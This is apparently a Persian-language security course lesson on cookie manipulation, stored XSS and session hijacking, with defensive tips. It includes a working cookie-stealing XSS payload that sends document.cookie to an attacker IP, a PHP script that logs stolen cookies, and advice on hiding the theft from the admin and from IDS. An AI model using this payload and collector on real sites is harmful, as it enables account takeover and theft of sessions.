مبحث یکم : مقدمه و تاریخچه
مبحث دوم: مراحل نفوذ کردن / جلوگیری از نفوذ
مبحث سوم: حملات شبکه ای
مبحث چهارم - کار عملی
مبحث پنجم - DHCP
مبحث ششم - وب و حملات مطرح در آن
مبحث هفتم - حملات DoS
مبحث هشتم - سیستم عامل
مبحث نهم - مهندسی اجتماعی
مبحث دهم - Vulnerability (آسیب پذیری)

تمرین. کدی را پیدا کنید که با استفاده از آن، کوکی admin برای یک آدرسی فرستاده شود

تمرین. کدی را پیدا کنید که با استفاده از آن، کوکی admin برای یک آدرسی فرستاده شود (فرضاً شما به عنوان کاربر سایت یک کدی را قرار دهید به طوریکه که وقتی admin سایت، از جایی که شما کد را در آن قرار داده اید دیدن می کند آن کد برایش اجرا شود. مثلاً فیلد آدرس را شما با کد پر می کنید، admin هم زمانی که می خواهد اطلاعات اعضای سایت را نگاه کند آن کد برایش اجرا شود.

کد زیر را در نظر بگیرید.

<Enter your first name: <script>alert(\”Hello\”);</script

اگر مرورگر این کد را ببیند آن را نمی تواند اجرا کند چون \ وجود دارد و کوتیشین بی اثر می شود. اما زمانی که این داده در دیتابیس وارد می شود، mysql، \ها (back slashها) را حذف می کند و خود کوتیشین ها باقی می مانند. سپس زمانی که اطلاعات از پایگاه داده خوانده می شود و می خواهند نمایش داده شوند آن کد درست اجرا می شود.

یک نمونه query که مشخصات کاربر را در پایگاه داده درج می کند. این کد به زبان PHP است.

;”(‘$query=”INSERT into users values (‘$id’ , ‘$uname’ , ‘$fname

کدی که  در بالا وارد کرده اید به جای $uname می نشیند و چون سازگاری آن query حفظ می شود کد شما درست عمل می کند.

مثالی از عملکرد \ در محیط shell در لینوکس:

name= ali

;echo $name

خروجی دستور بالا ali است. اما اگر بگوییم:

;echo \$name

خروجی برابر است با $name.

تا اینجا بیشترین کاری که انجام دادیم قرار دادن یک (“alert (“hi  بود. حال کمی با کوکی (cookie) کار می کنیم.

کوکی: ذخیره اطلاعات سرور در سمت client. زمانی که تصمیمات سرور وابسته است به کوکی، سرور در معرض حملاتی به نام cookie manipulation (تغییر کوکی) قرار می گیرد. یعنی یک کاربر خرابکار می آید و کوکی های خودش را تغییر می دهد. و وقتی کوکی ها مورد تغییر قرار گرفتند پردازش ها سرور که وابسته به این کوکی ها هستند هم می توانند تحت تأثیر قرار بگیرند و یکی از این تأثیرها over flow است یعنی کاربر کوکی خود را عوض می کند و به جای username، تعداد زیادی کاراکتر a در آن می ریزد. حال که سرور می خواهد username کاربر را از کوکی بخواند، ناگهان با تعداد بسیار زیادی کاراکتر مواجه می شود که ممکن است منجر به buffer overflow شود.

و یا حملاتی دیگر که منجر به session hijacking می شوند. یعنی کاربر مقدار username موجود در کوکی خود را به admin تغییر می دهد. اگر سرور صرفاً مبتنی بر کوکی کاربر باشد، فکر می کند admin است که وارد شده است (دقت کنید که ما داریم کوکی را تغییر می دهیم و این cookie stealing نیست).

راه جلوگیری از حملات بالا، 1- پردازش های سمت سرور صرفاً وابسته به کوکی نباید نباشند (بحث دفاع در عمق، علاوه بر بررسی کوکی موارد دیگر را نیز مثل زمان، session id و …. را هم بررسی کند.) 2- کوکی که ساخته شده از پیچیدگی لازم برخوردار باشد مثلاً در کوکی ننویسیم username=Admin، بلکه آن را کد کنیم. 3- پارامترهای اضافه تر در کوکی قرار داده شود. یعنی هم username قرار داده شود هم id، timeout و …..

می خواهیم نمونه ای از این حمله را تست کنیم (مراجعه شود به ویدئو) فرض: یک وب سایت داریم که در آن یک باگ وجود دارد. باگ آن سایت این است که بر مبنای کوکی که روی سیستم کاربران نصب شده است تصمیم می گیرد که شما کدام user بوده اید.

روی firefox می توان یک add-on برای کار با کوکی نصب کرد. نام این add-on، cookie editor است. البته به طور دستی هم می توان cookie را تغییر داد. گفتیم که کوکی ها فایل های متنی هستند که روی سیستم شما وجود دارند و با notepad می توان آنها را تغییر داد.

در مرورگر (internet explorer (IE می توانید از مسیر زیر کوکی ها را مشاهده کنید.

tools” internet option

سپس در پنجره باز شده قسمت setting (در قسمت browser history) را کلیک کنید. در پنجره باز شده دکمه view files را کلیک کنید. در پنجره ای که باز می شود می توانید کوکی ها را ببینید.

روی یکی از آنها کلیک کنید و داخل آن را ببینید. پارامترهای مختلف در آن وجود دارند.

برای مشاهده کوکی در chrome هم از ابزار Inspect Element موجود در آن می توانید استفاده کنید (راست کلیک روی صفحه و گزینه Inspect Element).

add-on دیگر در firefox، tamper است.

در backtrack، در firefox، tamper وجود دارد. برای فعال کردن آن در صفحه desktop در backtrack از منوی Applications و سپس گزینه Internet، مرورگر firefox را باز کنید. در منوی tools گزینه add-ons را انتخاب کنید در آن tamper را فعال کنید. و سپس firefox را restart کنید. منوی tools، گزینه tamper data می توانید با این ابزار کار کنید.

نحوه ی استفاده از add-on ویرایشگر کوکی (cookie editor) در firefox. کافی است از منوی tools، گزینه Cookie Editor را انتخاب کنید. البته باید قبلاً آن را نصب کرده باشید تا در این منو وجود داشته باشد.

بعد از آن که بر روی cookie editor کلیک کردید پنجره ای مانند شکل (1) باز می شود که اگر بر روی دکمه /refresh کلیک کنید، کوکی هایی که set شده اند نمایش داده می شود.

شکل 1

حال کوکی اول که مربوط به username است را با دوبار کلیک بر روی آن، ویرایش می کنیم و فعلاً به جای t می گذاریم admin. در این پنجره می توان تنظیمات مربوط به کوکی را ویرایش کرد. در نهایت بر روی گزینه save کلیک می کنیم.

در شکل 2 نحوه ی set کردن کوکی در زبان PHP را می بینید. در متغیرهای uname و pass مقدار نام کاربری و پسورد کاربر وجود دارد.

شکل 2

با استفاده از if چک می شود که آیا کاربر انتخاب کرده است که نام کاربری و پسوردش نگه داری شود (remember me) یا نه. در کد شکل 2 گفته می شود: اگر کاربر گفته بود که نام کاربری و کلمه عبورش نگه داری شود یک کوکی در سیستمش set می شود با نام Username و مقدار متغیر نام کاربری و تاریخ انقضای داده شده. این تاریخ انقضا می گوید از زمان فعلی (تاریخ time ()) به اضافه یک سال دیگر زمان انقضای این کوکی است (یعنی تا یک سال دیگر اعتبار دارد-این زمان به ثانیه داده شده است). اما اگر کاربر نخواهد نام کاربری و کلمه عبورش نگه داری شود (یعنی برنامه وارد قسمت else می شود)، آنگاه هیچ مقداری برای زمان انقضای کوکی set نکرده ایم (مقدار false). این کار باعث می شود تا زمانی که کاربر در سیستم وجود دارد (مرورگرش را نبسته، logout را نزند، یعنی خودش کوکی را از بین نبرده باشد) کوکی بر روی سیستم او وجود داشته باشد. اما اگر کارهایی که گفته شد را انجام دهد کوکی روی سیستم او نمی ماند و اگر دوباره بیاید باید login بکند. کوکی هایی که طول عمر دارند یک استفاده اش این است که کاربر برای هر login نیاز به پسورد وارد کردن نداشته باشد. استفاده دیگر آن برای این است که برخی از سایت ها این امکان را به کاربر می دهند که ظاهر سایت را برای خودش تنظیم کند. مثلاً رنگ آن را و … (به اصطلاح آن را برای خود customize کند). ممکن است سرور این گونه اطلاعات را نخواهد در دیتابیس ذخیره کند (چون فضای زیادی گرفته می شود). پس یک کوکی ایجاد می شود و این گونه اطلاعات در آن نگه داری می شود و حال در هر page از سایت می توان از این اطلاعات موجود در کوکی استفاده کرد.

دقت کنید عملاً کسی پسورد را در کوکی ذخیره نمی کند اما اطلاعات مفیدی در آن ذخیره می شود مثل عدد تصادفی که در حین login در mail.yahoo و …. به شما اختصاص داده می شود.

برای آن که بتوان از کوکی ها برای حمله استفاده کرد باید کوکی ها را خوب تحلیل کرد. مثلاً 50 تا user در یک سایت ایجاد می کنیم سپس با هر کدام login می کنیم و می بینیم که کوکی چگونه تغییر می کند و بعد سعی می کنیم الگوریتم آن را بدست آوریم و سپس کوکی مورد نظر خود را می سازیم. تغییر کوکی به طور کلی دشوار است.

مثالی از چک کردن کوکی با کد PHP

(“if (isset ($_COOKUE [“Username”] & $_COOKIE [“Username”]== “admin

اگر یک کدنویس به اشتباه بیاید و مستقیماً مقداری که در کوکی است را در query که می خواهد به دیتابیس ارسال کند بگذارد، آنگاه حمله کننده می تواند در کوکی، sql injection بزند. بعد که کوکی load می شود، دستور حمله کننده اجرا می شود. البته حمله کننده چون در این حالت interfaceای برای مشاهده نتیجه ندارد نمی تواند نتایج را ببیند پس باید دقیق به هدف زد و یا قبلاً آن را بر روی سیستمی شبیه سازی کند.

اما اگر نتوانستیم کوکی را تغییر دهیم، به نحوی کوکی مورد نظر خود را (مثلاً کوکی admin) را بدست می آوریم و روی سیستم خود set می کنیم و می شویم admin. البته اگر کوکی از نوعی باشد که فقط در زمان حضور کاربر وجود داشته باشد، آن وقت زمانی می توان خود را جای admin جا زد که admin در سایت باشد و session برایش ایجاد شده باشد. اما در حالت دوم کوکی (که اعتبار زیاد دارد) می توان کوکی را برداشت و در زمان های بعد از آن استفاده کرد.

اگر ناگهان مرورگر بسته شود، سرور می تواند بفهمد که session بسته شده است. مرورگر هم دفعه بعد که می خواهد بالا بیاید چون می داند که با crash سیستم بسته شده است، کوکی ها را پاک می کند.

به دنبال کدی باشید که به جای hello (hi) که در XSS کار کردید، باعث شود کوکی به یک آدرس فرستاده شود. در backtrackتان وب سرور را بالا بیاورید، و در آن کدی قرار دهید که آماده دریافت اطلاعات باشد. XSS باید کوکی را به آدرس backtrack بفرستد و بدین ترتیب در backtrackتان کوکی یک نفر را بگیرید. دقت کنید این کد نباید به گونه ای باشد که فردی که می خواهید کوکی او را بردارید (مثلاً admin) متوجه شود. مثلاً این گونه نباشد که صفحه حین load شدن یک دفعه به جای دیگر برود طوری که admin بفهمد. پس باید کدی بزنید که یک new page ایجاد کنید و کارها را در آن انجام دهید.

مواردی که باید به دنبال آن باشید: 1- چگونه ویندوی جدید باز می شود 2- چگونه محتویات کوکی را با همان URL به یک سرور ارسال کرد (باید هر اطلاعاتی که می خواهیم از سیستم admin بگیریم را با URL بفرستیم یعنی در در URL قرار دهیم). فرض کنید یک سرور داریم که در آن یک page با نام /readcookie وجود دارد که آن page به گونه ای طراحی شده است که هر چیزی که با متود Get (یعنی در جلوی /readcookie?cook=m) گرفته شده را در فایلی به نام pass می ریزد.

مثلاً اگر این URL به صورت

/read cookie?cook=ali نام سایت (IP سرور)

باشد، برنامه ای که نوشتیم مقدار ali را در درون فایل pass می ریزد.

کدی که باید برای XSS بزنید مثل زیر است:

<script>window.open(‘http://192.168.100.103/readcookie.php?cook’+document.cookie);</script>

با دستور بالا یک پنجره باز می شود که به همراه URL داده کوکی (که به دنبال آن بعد از علامت سؤال) قرار گرفته است ارسال می شود. پس می توان کد بسته شدن پنجره را هم در انتها قرار دهیم تا admin متوجه آن (پنجره باز شده) هم نشود. خیلی وقت ها صفحه ی تبلیغات (advertisement) می گذارند، که admin تصور کند تبلیغات است و یا صفحه ای می گذارند که در background اجرا شود و یا ابعاد آن کوچک باشد.

علامت + در کد بالا دو عبارت را به هم متصل می کند.

ممکن است مرورگر جلوی کار بالا (یعنی اینکه یک pop up باز شود را بگیرد (block کند).

زمانی که از دستور document.cookie() استفاده می شود، مرورگر کوکی سایت فعلی را می دهد.

کد PHP که قرار است مقدار کوکی را دریافت کند (مثلاً همان /readcookie.php که در بالا در URL از آن استفاده کردیم-البته نام فایل را به گونه ای باید قرار داد که واژه هایی که IDS ها به آنها حساس هستند مثل hijack و …. در آن وجود نداشته باشد).

readcookie.php

<?php

 ;(” $f = fopen (“/tmp/cookies” , “a

  $redirect = $_GET [‘redirect’];

{ fwrite($F,“IP:{$_SERVER[‘REMOTE_ADDR’]}Referrer:{$_SERVER

  ;(“‘HTTP_REFERRER’]} Cookie:{$_GET[‘cook’]}\n

  ;(fclose($f

  “<print “<script>window.close();</script

  ?>

توضیحات کد:

دستور fopen فایلی به نام cookies را در زیرشاخه /tmp به صورت (a) oppend باز می کند (یعنی می خواهیم به محتویات فایل اضافه کنیم).

در متغیر $redirect با استفاده از متود GET مقدار متغیری به نام redirect ریخته می شود. وجود این خط از دستور مهم نیست.

خط بعد هم می خواهد یک سری اطلاعات اضافه مثل آدرس سایتی که کوکی آن برداشته می شود (با استفاده از متغیر $SERVER[‘REMOTE_ADDR’] که یک متغیر تعریف شده در PHP است و به طور خودکار مقادیر درون آن ذخیره می شود) و … به اضافه محتوای کوکی را در فایلی که باز کردیم می نویسد. به طور خیلی ساده می توان دستور زیر را نوشت تا فقط مقدار کوکی در فایل ذخیره شود.

;(“fwrite($f, “Cookie: {$_GET[‘cook’]}\n

با دستور ($f) fclose هم فایل بسته می شود.

در نهایت هم page باز شده با دستور window.close() بسته می شود.

از اسکریپت زیر هم می توان برای XSS استفاده کرد تا با page ساخته شده در بالا ارتباط برقرار کند. یعنی می توان این کد را در فیلد نام کاربری در سایت قرار داد. با قرار دادن علامت \ علامت کوتیشین را بی اثر می کنیم.

<script>window.open(\’http://192.168.100.103/readcookie.php?cook=\’+document.cookie);</script>

این کد در دیتابیس قرار می گیرد و زمانی که قرار باشد این فیلد مشاهده شود (مثلاً مشاهده مشخصات توسط admin) کد اجرا می شود.

حال فرضاً نفوذگر توانست کوکی را بگیرد کار بعدی این است که این کوکی را در سیستم خود set کند. این کار را با استفاده از ابزار Edit Cookie که در قبل مطرح شد انجام می دهد.

در نشست های تحت وب یک session ایجاد می شود که در آن به هر یک از کاربران یک session id تخصیص داده می شود و بعد از اینکه کاربر پنجره مرورگر را ببندد، session id از بین می رود. پس نفوذگر دقیقاً در همان زمانی که کاربر login است فرصت دارد که کوکی اش را بردارد و برای خود set کند بدون توجه به اینکه معنای محتوای کوکی چه چیزی است.

اسکرول به بالا